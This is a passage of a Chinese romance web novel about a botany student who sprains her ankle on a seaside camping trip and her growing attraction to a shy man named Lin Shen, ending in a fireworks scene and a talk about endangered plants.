因为和同龄人相比自己早上学一年,所以几乎在所有的场合里都是最小的妹妹,但今天还是第一次当姐姐。莫名的让她有些兴奋。
话匣子打开,一群里叽里呱啦地开始谈天说地。
邱怡萱突然问到:“对了,覃晚姐姐,你学的是什么啊?”
“我学的是植物学,目前主要研究的方向是濒危植物分类及保护。”覃晚简单介绍到。
邹静:“听起来好有意思,你们是不是经常要上山采集标本啊?”
看着面前几个人都对自己的研究很好奇,覃晚便热心的给他们几个讲了起来。
“小晚姐,感觉你学的好有意思啊?”
“真羡慕你可以到处去采风,想想就觉得很有趣。要是我也可以向你一样就好了,可是我爸妈总爱管着我。连出来旅游都不行。”邱怡萱垂眸,小声抱怨道。
覃晚轻声安抚道“没关系,会有机会的。”
“好了,别抱怨了,妹妹。下船了”周嘉煜重重的揉了一下邱怡萱的头发,语气有些恶劣。
“周嘉煜。不许摸我头,我发型都乱了。”邱怡萱气的大声叫到,拍掉了他伸过来的手。
——
轮渡抵达。
一行人随着人流下了船,邱怡萱和周嘉煜打打闹闹走在前面。
而她也被攒动的人流挤在后方,和林深一同并肩走在了队伍的末尾。
两个人沉默的走着,气氛略有些尴尬。
正当覃晚打算挑起话头的时候。身边沉默了一路的人却突然说话了。
“伤口好了吗?还疼吗?”他侧过头,那双漂亮的眼睛一瞬一瞬地看着覃晚。
“啊?”愣了好几秒,才想起来她问的是刚刚她在船上提到的上次出野外考察时,遇到险滩意外受伤的事。
当时他一言不发,不知在想些什么。
覃晚还以为他对这些不感兴趣,根本没听呢。而受伤这件事只被她随口带过,没想到他居然捕捉到。
“好了,早就好了。我还以为你刚刚不感兴趣呢,没想到你在偷听啊!”覃晚嗓音含笑,歪着头眉眼弯弯的望向他。
视线交错几秒,他终于招架不住,害羞地撇开了头,许久才轻声道:“没有。”
见他这幅模样,覃晚心中暗忖:没想到这么容易害羞,还以为是高冷男神,没想到还是纯情小奶狗啊。
两眼一转,动了坏心思,想要逗逗他。
清咳一声,故作正经地追问:“没有不感兴趣,还是没有偷听啊?”
她转过身子,探过头去看着他,言笑晏晏。
猝不及防被她这样直勾勾盯着,母胎单身的林深的脸歘一下地就红了,结结巴巴的说:“没、没有、不感兴趣。”
“哦?那就是感兴趣喽。你是对我感兴趣?还是对野外考察感兴趣啊?弟弟!”
这时他也终于是
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反应过来那人是在逗她的,扭过头去不再说话。
点到为止,覃晚也没继续逗他。
正巧前面邱怡萱他们已经到了租的营地,回头朝他们挥手喊到“晚晚姐,舅舅,你们在干嘛啊。快点来玩呀!”
“来了!”,覃晚挥手回应,朝大部队大步跑去。
他没回应些什么,只是恢复正常步幅跟上了她。
刚走过去,邱怡萱便开始八卦“姐姐,你和我舅刚刚在哪聊什么啊?”
覃晚没打算把刚刚发生的事情告诉他们,于是随便编了句瞎话:“没什么,他对野外考察感兴趣,问我点相关事情。对吧,林深!”
她勾唇转头,对林深露出一个意味深长的笑容。
“嗷~,这样...啊。”邱怡萱哪里相信这种瞎话,但看着两人暗戳戳的互动,内心狂喜。
“球球,晚晚姐,我们去买点喝的吧!”,邹静挽着张怀恩的手凑过来说到。
覃晚和邱怡萱异口同声:“好啊,走吧。”,边上的许敬轩和李阳也说要去。
“你俩去吗?”邱怡萱扭过头看着后边站着的周嘉煜和林深。
“我们不去了,在这守着。我要一杯冰美式。”周嘉煜回复到。
“好,你呢,哥。你要什么?”邱怡萱问到。
“一瓶矿泉水。”话虽是对邱怡萱说的,可眼神却未从她身边的那个人身上移开分毫。
邱怡萱撇了撇嘴,想要吐槽,却还是忍住了。她拉着覃晚,一行人便去买饮料。
——
这边,留守营地的两个人随便找了个位置坐下。
“好了,别看了。”周嘉煜翘着个二郎腿调侃道。
自从刚刚他俩走过来,周嘉煜就一直用意味深长的眼神看着他。
“我说,阿深啊。你什么时候对植物学感兴趣了,还野外考察。”周嘉煜一脸怪笑看着他。
林深并不搭理他的调侃,看了他一眼没回复。
见他不说话,周嘉煜眉梢轻挑,语调拉长,直接戳破。
“我看你是对人感兴趣吧,眼神就一直黏在人家身上没离开过。”他凑近去,嘲笑道。
“滚!”林深一把推开他,没有承认,也没有否认,但耳朵却悄悄红了半边。
周嘉煜揽住林深的肩膀,语气十分欠揍:“哈哈哈哈,想不到你小子也有情窦初开的这一天。”
林深没有搭理他的调侃,拍开了那只手。
视线注视着前面正买饮料的女孩,那群人不知是谁说了些什么。
一群人哄笑不停,她也是,挽着邱怡萱的笑的灿烂,海风吹过微卷的长发和白色长裙,美的令人惊叹。
林深此刻脑子里一片空白,只有她那句“对我感兴趣”一直萦绕在耳旁,挥之不去。
周嘉煜看着身旁好友的眼神,不仅感叹,千年的铁树也会有开花的一天啊。
不过,这家伙母胎单身哪里知道怎么追女孩。既然如此,那好兄弟我就帮你一把吧。
周嘉煜掏出手机点进微信,在通讯录里迅速找到了目标。
【Z】老板,你们这晚上可以放烟花不?
【AAA露营帐篷出租】可以的亲亲。我们有298、398和589的夏日浪漫烟花套餐,您看一下要什么样的呢?
【Z】给我来个598的。今晚放,具体时间等我通知。
【AAA露营帐篷出租】好嘞。马上给您安排。
安排好之后,又拍了拍他肩膀,眼神意味不明。
“兄弟,今晚好好表现。别浪费这大好机会。”
13. 崴脚
周嘉煜这话没头没尾的。
林深并未搭理他,自顾自地合上手机,从沙滩上站起向天幕外走去。
“我帮你。”
他迎面缓缓走到覃晚面前,伸出手接过了她手上的饮料。
走在覃晚后面的邱怡萱故作柔弱,提着两杯饮料弯下了腰,夹起嗓子恶心他。
“舅舅~我也提不动,我也要帮。”一面说着还一面做出痛苦状,好似这两杯咖啡有千斤重。
林深哪里看不出她在装模作样恶心自己,冷哼一声,嘲讽道:“逛街时生产队的驴体力都没你惊人。”
听到对方的讥讽,邱怡萱忍无可忍。
抬起头中气十足地控诉道:“你这个冷酷无情的男人,一辈子找不到女...”
话音未落,那只原本伸出去接她手上袋子的手顿在半空,一道冷冽的目光自上而下投来。
邱怡萱声音渐弱,最后那两个字含在嘴里却没敢说出口。
只见林深用最平静的语气一字一顿地说道:“你演唱会票没了。”说完后冷着脸扭头就走。
宛若一道晴天霹雳朝邱怡萱劈了下来。
她粉的那个歌手演唱会一票难求,是她求爷爷告奶奶才让林深答应帮忙弄的。
这要是没了,她拜都不知朝哪个方向才能弄到了。
幸好她别的本事不强,认怂这领域却没人敢和她争第一,邱怡萱屁颠屁颠地追上林深,拽住他的衣角便开始求饶。
“舅舅~我的好舅舅~你看你,玉树临风,英俊潇洒,才华横溢...还有最重要的是什么...”邱怡萱停顿两秒,自导自演地卖关子,可对方压根不搭理自己。
她脸上的笑容凝固了两秒后,接着谄媚道:“是,宽宏大量啊~”
一边说还拍了拍走在林深身侧偷笑的覃晚,眨着眼睛暗示对方配合一下自己。
覃晚接到信号,忍住笑意,清了清嗓子:“是,谁不知道我们林深老师心胸宽广呢?”
她将手背过身,在林深前侧倒着走。
笑意嫣然,她眨了眨眼,眼眸中星光点点。
原本听着邱怡萱输出各种彩虹屁依旧八风不动的人,却因她简单的一句话撩得耳尖泛红。
刚刚的那些也早抛到九霄云外去了。
邱怡萱探过头去偷瞄一眼,便知晓这把稳了。
趁他此刻脑子不太清醒时候,小心翼翼地张口试探:“舅舅...我那个票?”
林深压根没分过去半个眼神,一直注意着面前的覃晚,敷衍道:“已经叫小李寄到你学校去了。”
“Yeah!舅舅,你就是我唯一的舅舅!”
一直倒着走的覃晚没注意到脚后的沙子里埋着个海螺,一个不经意,脚后跟被绊,身体瞬间失衡,整个人向后仰去。
林深一个健步上去,想要揽住即将跌倒的她。
说是迟那时快,邱怡萱没犹豫半分,从口袋里掏出手机便开始一顿连拍。
可等林深拉住她的胳膊时,覃晚已经凭借自己锻炼多年的超绝平衡感,踉踉跄跄地退了几步后成功稳住。
林深紧皱着眉头,满脸担忧急切地询问情况:“没事吧?”
“没事没事。”
覃晚松了口气,幸好是虚惊一场,要是真在这里大庭广众下摔倒了,可不要太丢人了。
经此一意外,她再也不敢倒着走路了。
正当她抬脚欲换个方向时,右脚踝却自上而下传来一阵剧痛。
“啊...好痛!”覃晚没忍住叫出了声,低下头去看自己的右脚。
“别动!”林深蹙眉,将握住的那只白皙的手腕搭在自己的肩膀上。
在她身前蹲下,修长的手指握住她已经红肿的脚踝,朝左右轻轻转动检查。
“疼疼疼...”覃晚嘴角溢出一丝难忍的痛意。
不远处正蹲着四处找角度的邱怡萱此刻终于意识到不对劲,忙不迭地跑过来,焦急地询问:“怎么了?怎么了?”
本来疼得整张脸皱巴巴的覃晚见到邱怡萱,脸色瞬间恢复自然,挤出一丝笑容,装作无事发生的样子,轻描淡写道:“没事,就轻轻地扭了一下。”说着还不自觉地抬起脚,顿时被扯到。
“啊...”
林深从沙滩上站起,将手上拿的两杯递给邱怡萱。
低着头看向疼得眉峰紧蹙的覃晚,满眼自责和担忧,温柔轻声道:“应该是扭到了,我抱你过去坐下,好吗?”
扭伤最忌讳强撑继续走,覃晚自知这个道理。
更何况刚刚那一遭,此刻她断然是不敢再逞英雄了,于是乖乖地点头。
天气预报显示,今天是个大晴天,中午最高气温可达30摄氏度。因此她便穿了件高腰露脐T恤,搭配低腰牛仔裤。
林深看着她那截露出纤细的腰,隐隐约约的马甲线足以看出常年锻炼的痕迹,一时竟不知从何下手。
覃晚自是没懂他在犹豫什么,抬头看向那人时。
只见他将自己搭在他身上的那只手握住,然后单手将身上那件套在外面的淡蓝色衬衣脱下,仔细地围在自己的腰间。
“海边风大,小心着凉。”
看着林深拧着眉一本正经地叮嘱,邱怡萱和覃晚都被逗得扶额苦笑,实在没猜到是这番操作。
下一秒,她便被拥入男人宽厚的怀中,那股熟悉的玉兰香味萦绕在鼻尖。
他干净利落的下颌抵在她的发间。
咸湿的海风轻轻吹过,秀发划过林深的侧脸,最后落于颈间,丝丝痒意勾起。
骤然升起的海拔,覃晚有些不自在,双手搂住男人修长的脖颈,在怀里动了动试图寻找一个舒服的姿势。
“小心脚。”林深扣住她膝窝,将她整个人向上颠了颠,温热的气息从耳廓划过,“好了吗?”
覃晚歪了歪头埋进他的胸前,试图掩盖自己的脸红,声音有些闷地喃喃道:“好了,但是别吹气,好痒!”
林深没有接话,低着头看向怀里的人,眼神温柔,唇角微扬,迈开长腿稳步朝天幕走去。
——
“你乖乖坐在这,我去给你买药。”林深在椅子前单膝跪下,仰头看向椅子上的女孩,温柔叮嘱。
这样一个顶级大帅哥仰着头,满眼温柔地看向自己。
覃晚此刻内心已经开始抓狂尖叫了,但此时因为自己受伤,一群人都围着自己。
她压抑住自己的花痴,强装淡定,故作冷漠地嗯了一声。
谁知道明明刚刚还被自己的逗弄得害羞的人,却突然像是开了挂似的。
林深无声笑了下,抬起手动作轻柔,拨弄她额前被吹乱的碎发,将其绾在耳后,安抚地摸了摸她的头。
除了此刻表面八风不动实则内心被撩到狂喜的覃晚,其余人都被林深这一番动作惊掉了下巴。
毕竟,他之前可不
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是这个样子。
在无人在意的角落里,还藏着一个疯狂磕糖的“狗仔”——邱怡萱,将这些画面逐帧记录。
周嘉煜和林深两人前去找药店,剩下的一行人则待在营地。
两人走后,本就蠢蠢欲动的一行人也藏不住了,盯着覃晚满脸吃瓜的好奇。
向来心直口快的邹静率先打破安静的场面,开口发问:“晚晚姐,你和林深...哥,是男女朋友?”
没料到她如此直接,覃晚也是被吓了一跳。
忙不迭地摆手解释:“不是不是。”她在心里暗忖道:昨天才刚认识,朋友都算不上吧。这一下进度也是有些超过了。
李阳:“晚晚姐,跟我们你就没必要害羞了。刚刚林深哥那样,谁不知道你们是情侣啊。他平时对我们可没这么温柔。”
说完还拍了拍躲在后排默默吃瓜的邱怡萱,“你说是吧,球球。”
突然被点的邱怡萱和覃晚对视后,笑而不语,没有接他的话茬。
未来小舅妈和一个追求者。邱怡萱这几斤几两还是分得出该向着谁的。
毕竟看林深那样,以后自己的好日子可全仰仗这位小舅妈了。
众人纷纷起哄,覃晚被闹得又是尴尬又是害羞。邱怡萱见自家小舅妈有难,主动出头替她解围。
“好了好了,别说了。我舅舅回来了。”
听到这话,本来围在覃晚脚边的众人一哄而散,纷纷乖乖回到自己位置上。
远处椰林、沙滩、秋日阳光下,林深提着药朝她大步跑来,微风吹过发梢,露出光洁饱满的额头。
男人跑到覃晚跟前,玉兰的香气再次袭来,他迅速从袋子里拿出毛巾和冰袋。
单膝跪下,动作轻柔地将覃晚的右脚握住,隔着毛巾为其冰敷。
一群人此刻看似抱着手机在玩,实则注意力全在两人身上。
林深对此置若罔闻,但覃晚却无法忽视。
尽管她并不讨厌对方的触碰,甚至有些心动,但还是不喜欢在大庭广众之下成为别人观赏的“表演嘉宾”。
“谢谢,我自己来吧。”覃晚从男人手中拿过冰袋,看着男人因为奔跑,额前留着几滴热汗。
她腾出一只手从桌面上抽了几张纸递给他,温声道:“擦擦汗。”
看出覃晚的窘迫,林深并未坚持。接过那两张纸后在她身旁的椅子上坐下。
——
因为脚受伤,原来计划的冲浪、摩托艇和沙滩排球...都变成了沙滩阳光浴。
原本一行人想着陪覃晚一起玩桌游。
但覃晚拒绝了,没必要因为她一人破坏他们的游玩兴致,更何况她本来便是中途加入。
一群刚上大一的学生,正是爱玩的年纪。几番推辞下,最后还是没忍住摩托艇的诱惑。
林深向来喜静,不爱和他们一起闹腾。
因此留在营地陪覃晚,原本周嘉煜也无兴致,声称要留下,但最后还是被邱怡萱一把拽走。
作为自己舅舅的爱情保安,她决不允许有任何电灯泡的出现。
午后,沙滩上的阳光有些毒辣,气温升高。
晒了一上午太阳的覃晚有些燥热难耐,光洁的额头露出细密的汗水。
邱怡萱给的小风扇此刻也耗光了电,扇叶停止转动。
这时,一直坐在旁边,沉默无言的林深突然问到:“走吗?天气太热了,我抱你回去。”
14. 那看来就只能我背你过去了
“?”覃晚满脸问号,抬手推了下墨镜,不解询问到:“回哪里?”
坐在一旁的林深抽了张纸递过去,眉梢轻挑,示意她擦擦额边的汗。
继而缓缓解释:“我刚刚叫周嘉煜在旁边订了栋别墅,要不要过去休息一下。”
难怪周嘉煜刚刚没和他一起回来。
不过...就他们两个人,去别墅休息,也太暧昧了吧。
如果是别人的邀请,她断然是不会答应的。
但是,如果是他的话,好像也不是不能答应,毕竟对着这张脸,怎么说也是她赚了...
思忖两秒后,她果断从椅子上坐起,“走吧!”
“好。”男人俯身凑近,伸出手作势要将她抱起。
“诶诶诶!”覃晚抬手挡了一下。
刚刚是迫不得已才抱,而且去别墅一路上不知道得碰上多少人,抱着过去太尴尬了。
犹豫几秒,她委婉道:“要不...扶着过去吧,我感觉好一些了。”
对方没有说话,只是盯着她的脚看了两眼,冰敷过后脚依旧红肿。
迟疑半晌,他收回手,对着覃晚背过身去,蹲下后,声音低沉道:“上来吧。”
看他这架势,打抵是不可能让她再下地了...背和抱,好像还是前者不那么社死。
覃晚也不再矫情,纤细而有力的手臂揽住男人的肩膀,小心翼翼地单脚撑地,跃上了他的宽阔的脊背上。
当那处绵软贴过来时,林深一动不敢动,浑身僵硬,耳廓慢慢浮上微妙的红晕。
“怎么了?你背不动?”
内耗不了一点的覃晚丝毫不会怀疑自己的体重,只会怀疑对方的实力。
太近了。
不属于自己的温热的气息直接洒在他那修长的脖子上,像一片羽毛,从脖子轻轻滑落到心脏,勾起毛茸茸的痒意。
“不是...。”他一字一顿的为自己辩解。
良久,冷静下来的林深双手勾住她的腿弯,轻松站起,朝远处的一片别墅区走去。
正值午后两点,太阳曝晒整片海滩,燥热无比。
覃晚趴在男人背上。
除了墨镜,这人似乎没做丝毫防晒措施,毒辣的阳光洒在脖子上,伤红了一片。
覃晚摘下头上那顶刚买的花边小草帽,轻轻扣在他乌黑的发顶,纤细的手指勾着那蝴蝶结花边转圈。
“不用给我,你自己戴好,别晒伤了。”
察觉他伸手动作,覃晚忙抽出交叠与他颈间的双手,将那帽子牢牢按在他的头顶,像是在守护什么珍宝似的。
“不许!”
那只蠢蠢欲动的手一听这话,瞬间便老老实实放回原位。
意识到自己刚刚那行径似乎有些霸道,明明人家是在关心自己。
覃晚抿了抿唇,凑进他耳畔,柔声找补说:“你要是担心我晒伤,就走快点吧。”
“别说话了。”林深嗓子有点哑,停下脚步,稍稍偏头低声道:“手放好,我开始跑了。”
覃晚停止玩闹,乖乖把手放好,“我准备好啦~林老师。”
远处海浪起伏,白色的浪花拍打沙滩。
人群喧闹,摩托艇在深蓝的海面上发出轰鸣声...
但此刻世间嘈杂通通被她屏蔽在外,只能感受到的,是微风吹过衣角和耳畔前他的呼吸。
明明自己没有运动,为什么心跳这么快?
还没等她想明白,抬头一看,已经抵达目的地。
林深背着她,站在一栋自带小花园和无边泳池的独栋小别墅面前。
走到门前,林深将背上的人放下,一直手握住她手臂,另一只手从兜里取出门卡。
“上来吧。”他蹲下示意她上来。
“不用了,这两步路,扶我走过去就行了。”覃晚推开那扇铁乳白色的铁栅栏门,单脚跳了进去。
见她不愿林深也勉强,默默将手放在她背后虚揽,防止她跌倒摔伤。
——
覃晚倒在沙发上,舒服的喟叹一声。
林深走到厨房从冰箱里拿出瓶矿泉水,贴心地拧开后递给她:“喝口水吧。”
“谢谢。”
天气太热,在外面晒了许久体内水分丧失很快。
覃晚从他手里接过水后,咕咚咕咚地一口气喝了半瓶。
林深在沙发坐下,动作慵懒又不失规矩。
等她喝完后,他才缓缓开口:“你腿不方便,就在一楼休息?或者说你想睡上面,我抱你上去?”
“没事,就一楼吧,我不挑。”学植物的经常要去野外考察,什么毒虫毒蛇环绕的恶劣环境她没住过。
“好。”林深点点头,那双澄澈的眼睛又开始看向她。
相顾无言,覃晚被他炽热的目光盯的有些不好意思,撇开脸,假装打量这房子的装潢。
这沙发软得像棉花糖似的,倚在上面都不想再动分毫。
细碎的阳光透过那面落地窗洒进整间屋子,微风浮动那片薄薄的轻纱,随风摇曳。
屋内温度适宜,早起又折腾了一天的覃晚盯着头顶那盏圆环形吊灯,困意来袭。
覃晚双眼朦胧,开始打哈欠,拿着手机不知在给谁发消息的林深闻声问到。
“困了吗?进去睡一会儿吧。”
完全被困意环抱的覃晚声音渐弱,小声道了句:“好...”
哈欠接连不断,她揉了揉有些惺忪的睡眼,撑着沙发侧站起。
林深放下手机,抬脚缓缓靠近摇摇晃晃的女孩。
看着她几乎要闭上的眼睛,微卷的眼睫轻颤。
浮光不时跃她那张几乎没有毛孔的脸庞上,碎发散落在额前。
终于在阳光明媚的日子,再次看到她这幅可爱的样子。
林深拉住她的手腕,动作轻柔地使她靠在自己的怀里,低着头对着覃晚轻声说:“抱你过去?”
几乎困的不省人事的覃晚摇了摇头,含糊嘟囔:“不要,不要抱。”
林深无声轻笑,声线温柔,无奈道:“好,不抱,扶你过去。”
房间离沙发不远,覃晚整个人都倚在男人身上。
照顾她受伤的右脚,林深不敢妄动,轻轻地推着她缓步前进。
好不容易到了房间,林深扶着她在床上躺下,替她小心翼翼脱下拖鞋,轻放在床榻上。
林深拿起床边的遥控器,合上窗帘,屋子渐渐暗了下。
黑暗中,他眼眸温柔,不舍的看了熟睡的覃晚一眼,唇角微勾,良久,他才转身离开。
——
覃晚再次醒来时,房间一片昏暗。
她闭着眼从被窝了探出手摸了摸,却没有在熟
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悉的位置找到手机。
躺在床上冥想五分钟后,她终于清醒。
艰难坐起拉了下床侧壁灯开关。暖黄色灯光下,手机被端端正正的放在乳白色床头柜上。
居然已经下午六点了,一觉睡了那么久。
覃晚理了理睡得乱糟糟的长发,蹬着只拖鞋一蹦一跳从房间出来。
一出门便看见,男人翘着二郎腿,散漫地坐在沙发上。
他戴着副从未见过的黑框眼镜抱着电脑敲敲打打。
最后一抹余晖透过巨大的落地窗洒在他身上,镀上一层温暖的金光。
这男人,拍画报呢?[1]这也太帅了吧!
覃晚靠在酒柜边,从兜里拿出手机想要把这幕记录下。
“咔嚓!”
怎么没关快门声,男人循声看过来,见她手忙脚乱的握着手机一通乱按。
林深合上电脑,微笑着缓缓道:“醒了。”
偷拍被正主发现,也太尴尬了。
覃晚把手机息屏揣进兜里,僵硬地举起手摇了摇,僵笑打招呼道:“hi...”
林深把电脑撂在沙发上,推了推眼镜从沙发上起身。
噙着一丝莫名的笑容,不紧不慢的走向她。
完了完了,不会是来找自己算账吧。
好尴尬啊,刚刚还没来的及删照片啊。覃晚,叫你花痴,这下好了吧...
覃晚眼神躲闪,不敢看向男人,在原地尴尬的脚趾扣地。
谁知那人走到一半,突然拐向厨房的公共吧台,从柜子里取了只玻璃杯后,拿起水壶慢悠悠地倒了杯水。
看来是虚惊一场,覃晚偏过头深吸了一口气。
她没注意到在,视线外,男人正用余光注视着自己的一举一动,唇角微勾。
林深握着那杯水再次走向她。
“刚醒来,喝杯温水。”
覃晚接过水杯,小口抿着杯壁,用余光去瞄男人,却恰好遇上对方的视线。
“咳咳咳...”
“慢点喝。”林深从她手里接过水杯,轻拍她的脊背顺气。
咳的脸都通红,覃晚终于缓过来,低着头不再看他,一整天尽丢人了,一世英名都在今日毁于一旦了。
“饿了吗,我扶你去沙发坐会吧。”林深伸出胳膊,覃晚没有去扶,倔强地自己蹦了过去。
看着她勉强跳来跳去,林深跟在后面露出无奈的笑容,摇头叹息。
林深信步走到吧台,一边冲洗杯子一边慢条斯理的解释。
“邱怡萱他们去买烧烤的用具和食材了,一会在海边烧烤,去吗?如果你不想的话我们也可以...”
话还未完,覃晚忙不迭打断:“去去去。”。
她可不想再和他两个人带在一起了,今天出的糗可够多了。
林深微一颔首,将杯子归位后不知从哪里变戏法似的,推出辆轮椅来了。
本来坐在沙发上淡定玩手机的覃晚见到这轮椅时,手机都惊得掉在沙发上。
“不是,这未免也太夸张了。”,她拖着尾音思考了下。
继而道:“而且...这在沙滩上能推动吗?”
仿若没意料到这个问题,他眉梢一挑,思索两秒,斟酌道:“那看来就只能我背你去了。”
【1】引用自综艺《名侦探学院》
15. 夏日烟火
趴在林深背上的覃晚越想越觉得不对劲,怎么回事?
两人一路无话,很快便到了海滩,彼时夕阳已落,水天一色,整片海域开始进入蓝调时刻。
覃晚他们抵达白天驻扎的天幕时,其余一行人已经开始热火朝天地捣鼓晚饭。
即使腿脚不便,她也不好意思让自己闲着,和几个女生一边聊天一边坐在沙滩椅上帮忙串烤串。
林深把覃晚放下后,接了个电话便不知道跑去哪里了,半天不见人影。
李阳是这几个人里面厨艺最好的一个,掌控着主厨的位置。
徐敬轩在一旁打着下手,而自小十指不沾阳春水的周大少爷哪里体验过这种事情,见插不上手便坐在椅子上,翘着个二郎腿,一副悠闲自得的模样。
"叮咚,您的大大更新啦。"
覃晚瞥了眼手机,慢条斯理地摘下塑料手套放在一边,点开了那条消息弹窗。
是闹铃提醒,她家深林大大每天都在这个点更新。
昨天不知他因为什么事耽搁,鸽了读者一天,今天双更补偿读者。
一想到晚上又有好饭吃,覃晚嘴角溢出一抹情难自禁的笑意。
"晚晚姐,什么好事发生,这么开心。"坐在覃晚身旁的邱怡萱笑着好奇道。
覃晚合上手机,笑着自然解释:"一个喜欢的作者大大更新了,还连更了两章,"她笑得眉眼弯弯,抬眸,却见林深不知什么时候回来了,正坐在她正对面,此刻正一瞬不瞬地望着自己。
骤然闯入那双眸子,他那副黑框眼镜不知什么时候摘了,没了镜片遮挡,那双眼眸美的更具攻击性,稍有不慎便会被吸入那无底旋涡,无法自拔。
笑意还挂在脸上,覃晚怔了怔,几秒后撇开视线,低下头要重新将那手套戴上。
"烤串来啦!"李阳穿着件白色老头背心,端着两盘热腾腾还冒着烟的烤串走了过来,吆喝道:"走过路过别错过,米其林三星大厨出品,包你吃了还想吃。"
中午就吃了一袋面包和几块饼干的覃晚早就饿得肚子咕咕叫了,孜然香料混着烤肉焦香,馋得覃晚当即便撇开了戴了一半的手套,两眼放光的一动不动盯着那盘烤串。
拿到手后,她也来不及放凉,象征性地吹了两口便往嘴里送,烫得她在嘴里又炒了一遍,举着左手在唇边扇风还忙着朝李阳竖起大拇指,含糊不清夸赞:"好吃,太好吃了!名副其实的大厨!"
刚刚夸下海口自恋都面不改色的李阳,这时真收到夸奖时又有些不好意思,猛男害羞,抬手扶着脖子搓来搓去,谦虚说:"哪里哪里,你们喜欢吃就好..."
刚刚一群人对着那两盘新鲜出炉的烤串蜂拥哄抢时,林深依旧坐在原位没动,他对于口腹之欲要求并不高,进食也不过是为了满足身体能量所需。
更何况因为家里有个嘴巴挑剔得要命的母亲,家里特聘了一支厨师团队,从小沾着她的光,什么山珍海味没吃过。
不过,此刻覃晚满心满眼都是烤串,完全没分一丝心在林深身上。
看着她满是笑意的眼眸,夸赞李阳,两人谈笑风生,自然互动,林深有些不爽。面色不虞从椅子上站起,自顾自地走到烤炉边。
李阳去送烤串,这边只留徐敬轩一人暂时把守。见林深突然过来,他有些莫名,但依旧客套道:"林深哥,你去吃就行了,这里有我就可以。"
林深从桌面上拿起一把烤串,毫无情绪地冷淡道:"你去吃,我来烤。"说着便朝着那冒烟的烤炉走了过来,徐敬轩不解,之前明明听邱怡萱吐槽过他这个舅舅从不下厨,怎么今天突然有兴致烤肉了。
他识趣地让开位置,见他满脸严肃地握着那把烤肉,烟雾接连不断地冒上来,他紧绷着脸一言不发。那双骨节分明的手握着那把油刷时,冷静自如的样子,像在做什么精密实验似的。
见他游刃有余,徐敬轩插不上手,便回了营地找自己女友去了,留林深一人在这烤肉。
没过多久,林深便端着他那盘烤肉信步朝众人走了过来。
覃晚含着一口橙汁,看着男人将那盘烤得黑乎乎,已炭化的肉串放在自己面前。
他盯着自己,不动声色,但眼眸里有藏不住的期许。
覃晚咽下嘴里那口橙汁,用余光瞄了一眼林深,发现他的视线正随自己伸出去的手移动。
她抬手朝他烤的那盘"炭"伸去,男人目不转睛,手却在半空顿了几秒后,调转方向拿了另一盘李阳刚刚端来的烤肉。
林深扯了扯嘴角,眸光微动,盯着她手里那串肉,云淡风轻的面容上隐隐浮现出一抹愠色。
赌气似的回到自己位置,双手抱胸扭头看向海滩。
并非覃晚不愿捧场,只是...她真的不想进医院啊!
刚刚一直在和男友卿卿我我的邹静压根没注意到林深端来那盘肉,此时还以为是李阳做的,戏谑着调侃道:"李阳,你怎么回事。不是米其林大厨吗?怎么烤成黑炭了?"
"这不是..."李阳辩解到一半,骤然刹住话茬。众人都不说话,假装很忙的样子。
本来在看戏的覃晚伸出手,从那团黑的不成样的东西里挑了一串,笑着说:"焦的也好吃,很香的。"心一横,轻咬一口,嘴里瞬间翻江倒海,苦涩一片,她强装淡定,夸赞道:"好吃!特别好吃!"
她将那盘肉往桌子中间推了推,挥手示意:"你们都尝尝,骗你们我是小狗。"
一旁假装满不在乎的林深听到她的话,心下一软,偏着头唇角微勾。
众人:"呃呃呃呃...",缩着手不敢尝试,周嘉煜刚看到那盘烤肉时,头顶直冒黑线。自己这个好友明明厨艺烂得要命,还逞强想要在人家面前摆弄,结果...
他站出来解围,拍了拍手说:"都吃饱了吧,我订了烟花。去不去放?"
一听到烟花,几个人都满眼放光,纷纷把手里的烤串放下,一窝蜂地跟着周嘉煜去运烟花,除了伤员覃晚,以及不感兴趣的
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林深。
夜晚气温忽降,穿着短袖覃晚觉得有些冷,陆风习习,吹到裸露在外的皮肤上,冒起一层鸡皮疙瘩。
覃晚环抱着双臂,搓了搓。
一直在看风景的林深其实一直用余光注视着对面人的一举一动,见她冷,林深脱下搭在外面的蓝色衬衣,抬脚朝她走了过去。
"穿着吧。"林深把衣服递给她,见覃晚有些犹豫不决,张开手直接将那衣服搭在她身上,上身弯腰凑近,薄唇轻启:"别感冒了。"
不知为何,如此缱绻暧昧氛围,她想到的居然是:"要是真进医院了,估计也是你那烤串害的..."
那群人不知道跑哪里去放烟花,迟迟未回,林深给她穿上衣服后,顺势在边上坐下。
因为崴脚,一天的计划都被打乱,覃晚眼巴巴地望着在海边散步嬉闹的人群,眼眸中星光流动,满眼向往。
"要去海边走走吗?"林深声音慵懒沉着。
"?"覃晚回头,却骤然与他低着看向自己的脸贴近,唇角轻轻划过下颌。
缱绻的视线交缠,两人都怔住了,温热的气息交互,耳廓微微泛红。
"砰!砰!砰!..."
绚烂的烟火划破漆黑一片的天际,在空中炸开星星点点的花朵。温柔的月色如水,在此刻显得有些暗淡。远处潮声依旧,拍打着深黑崎岖礁石,激起层层白浪。
两人异口同声:"抱歉..."
覃晚向后靠去,与他拉开距离,剧烈跳动的心脏像那在空中绽放的烟火一同呼吸,脉搏相依。
她仰着头,满眼盛着空中转瞬即逝盛大的烟火。而他,却在背后,默默注视着他生命里那道永恒的烟火,满眼温柔。
美丽的事物总是消逝**得**很快,一瞬的热闹后,天空再次回归寂静。覃晚有些落寞,望着远处的夜色轻声说:"你知道吗?每过一分钟就有一种植物从这个世界消失,而未来几十年,将会有100万种动植物濒临灭绝。"
她回头看向身后的林深,温柔又平静地问道:"你知道我为什么要研究濒危植物吗?"
林深没有说话,一双美丽的异瞳倒映着她的身影。良久,才徐徐开口:"为了延长即将消逝的美丽。"
出乎意料的答案让覃晚有些惊喜,像是寻到了知己。高山流水难觅知音,很多人都觉得,她们的工作是为了通过保护、借助科技使那些植物得以永久的存活,实则不然。
她看着面前的男人,语气庄重:"你说得对,但更恰当的应该是还原。自然选择下,每一个物种都将走向必然的结局。但..很多植物生命的结束本不应如此之快,是我们的破坏...扰乱了植物原本的秩序。"
夜色如水,女孩嗓音温柔又坚定,世界的喧嚣仿若都与她无关。
看着她白皙的脸庞,目光炯炯有神,林深只觉得心跳加速,因为他终于正式认识了面前的人,也再一次见到了他记忆里那个清醒独立,充满生命力的山荷叶小姐。
16. 替身文学?
海滩上人群渐稀,远处燃烧的篝火也愈燃愈暗。
月光洒落在海面,好似浮动的银色绸缎。
整个世界陷入温柔的静谧。
自放烟花就离开的那群人迟迟未归,她有奇怪。
覃晚拢了拢披在肩上的衬衣,指尖无意识地摩挲着袖口。
